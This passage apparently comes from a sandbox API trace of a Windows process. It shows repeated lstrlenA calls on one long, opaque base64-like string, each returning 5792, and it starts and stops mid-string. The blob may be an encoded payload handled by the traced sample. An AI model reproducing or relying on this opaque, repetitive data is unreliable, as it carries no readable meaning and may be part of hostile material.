YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.361] lstrlenA (lpString="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") returned 5792 [0128.361] lstrlenA (lpString="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") returned 5792 [0128.361] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw